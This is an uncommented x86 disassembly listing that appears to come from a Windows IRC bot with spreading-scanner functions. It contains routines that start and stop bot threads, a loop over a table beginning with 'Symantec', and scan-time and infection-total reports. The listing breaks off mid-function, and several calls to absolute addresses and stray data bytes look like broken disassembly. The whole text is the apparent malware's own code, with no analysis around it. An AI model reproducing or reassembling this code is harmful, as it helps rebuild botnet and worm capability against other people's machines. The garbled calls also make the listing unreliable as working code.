mov [edi], ebx lea edi, dword_43E56C[esi] mov byte ptr dword_43E360[esi], bl mov byte_43E578[esi], bl push dword ptr [edi] call dword_4CB6BC lea esi, dword_43E570[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB6BC mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E360 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB360 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E564 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB564 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E560 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CB560 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E560 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CB560 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E574[eax], ecx mov dword_43E560[eax], ecx mov dword_43E564[eax], ecx mov dword_43E568[eax], ecx mov dword_43E56C[eax], ecx mov dword_43E570[eax], ecx mov byte ptr dword_43E360[eax], cl mov byte_43E578[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431E64 push eax xor ebx, ebx call sub_41B886 cmp dword_431AC8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431AD0 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431E58 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CB364 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE130 mov ecx, dword_4CE12C push esi push dword_4CB364 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CE130 lea eax, [ebp+var_200] push dword_4CE12C push offset unk_431E84 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB364 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CE374 push offset unk_431ECC push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431F18 push eax call sub_41B886 cmp dword_431AC8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431F08 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CB364 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CB664 xor edi, edi mov [ebp-8], eax cmp dword_431AC8, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431AC8 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431F68 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431F34 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0Bh, 50h db 2Dh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB770[eax*8] call dword_4CB6B0 push eax lea eax, [ebp+var_200] push offset unk_431FB8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_431F98 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431AD4[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD82C push 104h push esi push ebx mov dword_4CDA3C, eax mov dword_4CDA38, ebx call near ptr 2670000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CD930 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD828, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDAC0, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CDA40 call sub_41B5F0 add esp, 0Ch mov dword_4CDAC4, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDA40 call sub_41B5F0 add esp, 0Ch mov dword_4CDAC4, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CDA3C push offset unk_42C51C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CDA34, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD828 push offset word_411796 push ebx push ebx nop call near ptr 2680098h mov ecx, dword_4CDA34 imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CDAC8, ebx jnz short loc_40BC23 push 32h call near ptr 2680000h nop jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 268082Fh push eax lea eax, [ebp+var_204] push offset unk_4320D8 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CB360 mov esi, offset dword_4CDAD4 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CDCE4, eax mov dword_4CDCE0, ebx nop call near ptr 2670000h push 103h push edi push offset dword_4CDBD8 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDAD0, eax mov eax, [ebp+arg_138] pop edi mov dword_4CDD68, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CDCE8 call sub_41B5F0 add esp, 0Ch mov dword_4CDD6C, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CDCE8 call sub_41B5F0 add esp, 0Ch mov dword_4CDD6C, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CDCE4 push offset unk_4320A4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CDCDC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDAD0 push offset byte_40E991 push ebx push ebx call near ptr 2680098h nop mov ecx, dword_4CDCDC imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CDD70, ebx jnz short loc_40BD47 push 32h nop call near ptr 2680000h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 268082Fh push eax lea eax, [ebp+var_204] push offset unk_432070 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431ADC[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CE36C cmp [ebp+arg_90], bl mov dword_4CD794, eax mov eax, [ebp+arg_110] mov dword_4CD788, eax mov eax, [ebp+arg_138] mov dword_4CD790, ebx mov dword_4CD818, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD798 call sub_41B5F0 add esp, 0Ch mov dword_4CD81C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD798 call sub_41B5F0 add esp, 0Ch mov dword_4CD81C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD794 lea eax, [ebp+var_204] push offset unk_432040 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD78C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD788 push offset byte_40E6EF push ebx push ebx nop call near ptr 2680098h mov ecx, dword_4CD78C imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD820, ebx jnz short loc_40BE6A push 32h nop call near ptr 2680000h jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 268082Fh push eax lea eax, [ebp+var_204] push offset unk_432008 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431AD8[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CE004 push 104h push esi push ebx call near ptr 2670000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CE11C, ebx mov dword_4CE108, eax lea eax, [ebp+arg_10] push eax push offset dword_4CDD7C call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CDD78, eax mov ecx, [ebp+arg_138] push esi push dword_4CE108 mov dword_4CE114, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE118, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C4A4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CE110, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDD78 push offset sub_40F0D5 push ebx push ebx nop call near ptr 2680098h mov ecx, dword_4CE110 imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CE124, ebx jnz short loc_40BF92 push 32h nop call near ptr 2680000h jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 268082Fh push eax lea eax, [ebp+var_204] push offset unk_431FD4 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB770h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CB54C inc eax push eax mov [ebp+arg_0], eax call dword_4CB620 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = 